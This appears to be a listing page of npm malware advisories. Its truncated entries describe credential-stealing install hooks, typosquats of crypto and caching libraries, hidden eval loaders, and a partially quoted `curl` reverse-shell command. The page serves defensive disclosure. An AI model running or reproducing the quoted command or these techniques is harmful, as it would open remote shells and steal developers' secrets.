npm security reports, with evidence.
Investigate malicious npm packages and AI-agent policy findings. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision. Malware findings and policy violations are labelled separately.
Security reports — page 615
Updated 26 Oct 2026, 15:02 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-11531 blocks this version. On npm install, scripts.postinstall executes postinstall.js which harvests installer-side secrets and host reconnaissance...
OpenSSF/OSV malware advisory MAL-2026-11530 blocks this version. The package is published as @zzzgenesis00/etherjs with author 'ricmoo' and a description mimicking the legitimate ethers.j...
OpenSSF/OSV malware advisory MAL-2026-11533 blocks this version. This package impersonates Solana Labs (author field 'solana-labs', repository pointing at github.com/solana-labs/solana-we...
OpenSSF/OSV malware advisory MAL-2026-11532 blocks this version. The postinstall.js script, which runs automatically on `npm install`, harvests a broad set of installer-owned secrets and...
OpenSSF/OSV malware advisory MAL-2026-11529 blocks this version. postinstall.js runs automatically on `npm install` and enumerates installer-owned secret material: SSH private keys under...
OpenSSF/OSV malware advisory MAL-2026-11534 blocks this version. The package impersonates XRPLF's xrp-lib (author metadata and homepage point at github.com/XRPLF/xrp-lib) while being publ...
OpenSSF/OSV malware advisory MAL-2026-11528 blocks this version. The package's preinstall lifecycle script (preinstall.js) opens a TCP socket to the hardcoded remote host 120.55.170.103:8...
OpenSSF/OSV malware advisory MAL-2026-11528 blocks this version. The package's preinstall lifecycle script (preinstall.js) opens a TCP socket to the hardcoded remote host 120.55.170.103:8...
OpenSSF/OSV malware advisory MAL-2026-11494 blocks this version. test-dev-sync is a browser data stealer coupled to a remote-command backdoor. grabber_user.js enumerates Chrome/Chromium/O...
OpenSSF/OSV malware advisory MAL-2026-10931 blocks this version. The org-twilio-phone-numbers-utils package is a dependency-confusion squat of Twilio's npm namespace published by user 'yu...
OpenSSF/OSV malware advisory MAL-2026-10931 blocks this version. The org-twilio-phone-numbers-utils package is a dependency-confusion squat of Twilio's npm namespace published by user 'yu...
OpenSSF/OSV malware advisory MAL-2026-11512 blocks this version. The package's main module exports a function `command()` that invokes `/bin/bash -c` to fetch a script from reverse-shell....
OpenSSF/OSV malware advisory MAL-2026-11136 blocks this version. src/index.js in fluid-type-ui@2.0.8 contains a hidden code block, pushed off-screen by a long run of tab characters, that...
OpenSSF/OSV malware advisory MAL-2026-11500 blocks this version. index.js appends an eval(atob(...)) blob to an otherwise legitimate Tailwind plugin. On require(), the decoded loader quer...
OpenSSF/OSV malware advisory MAL-2026-11388 blocks this version. The package advertises itself as a dependency-free calendar/streak math library but its main entrypoint dist/index.mjs con...
OpenSSF/OSV malware advisory MAL-2026-11388 blocks this version. The package advertises itself as a dependency-free calendar/streak math library but its main entrypoint dist/index.mjs con...
OpenSSF/OSV malware advisory MAL-2026-10988 blocks this version. package.json declares a preinstall hook (`node./dist/index.d.js`) that runs automatically on `npm install`. The script at...
OpenSSF/OSV malware advisory MAL-2026-10945 blocks this version. The zer0onetencent2 package was published to the npm registry by user 't2423048543' (maintainer email t2423048543@gmail.co...
OpenSSF/OSV malware advisory MAL-2026-11523 blocks this version. This tarball, published under the popular `cache-manager` name, ships an obfuscated `preinstall` dropper that does not exi...
OpenSSF/OSV malware advisory MAL-2026-11524 blocks this version. keyv@6.0.0 is a lookalike of the popular keyv key-value package but ships an attack chain absent from the real library. Th...
OpenSSF/OSV malware advisory MAL-2026-11517 blocks this version. The package's main module exports a `command()` function that runs `/bin/bash -c 'curl https://reverse-shell.sh/10.0.64.14...
OpenSSF/OSV malware advisory MAL-2026-11517 blocks this version. The package's main module exports a `command()` function that runs `/bin/bash -c 'curl https://reverse-shell.sh/10.0.64.14...
OpenSSF/OSV malware advisory MAL-2026-11510 blocks this version. The package is advertised as a React UI layout library but on require('beaver-ui-layout') loads _bridge.js, which reconstr...
OpenSSF/OSV malware advisory MAL-2026-11509 blocks this version. The package's declared postinstall (`node setup.js`) and its main entry `index.js` (which unconditionally calls `require('...
OpenSSF/OSV malware advisory MAL-2026-11508 blocks this version. beaver-ui-header@12.3.9 advertises itself as a UI header library but ships a setup.js that runs on npm postinstall and aga...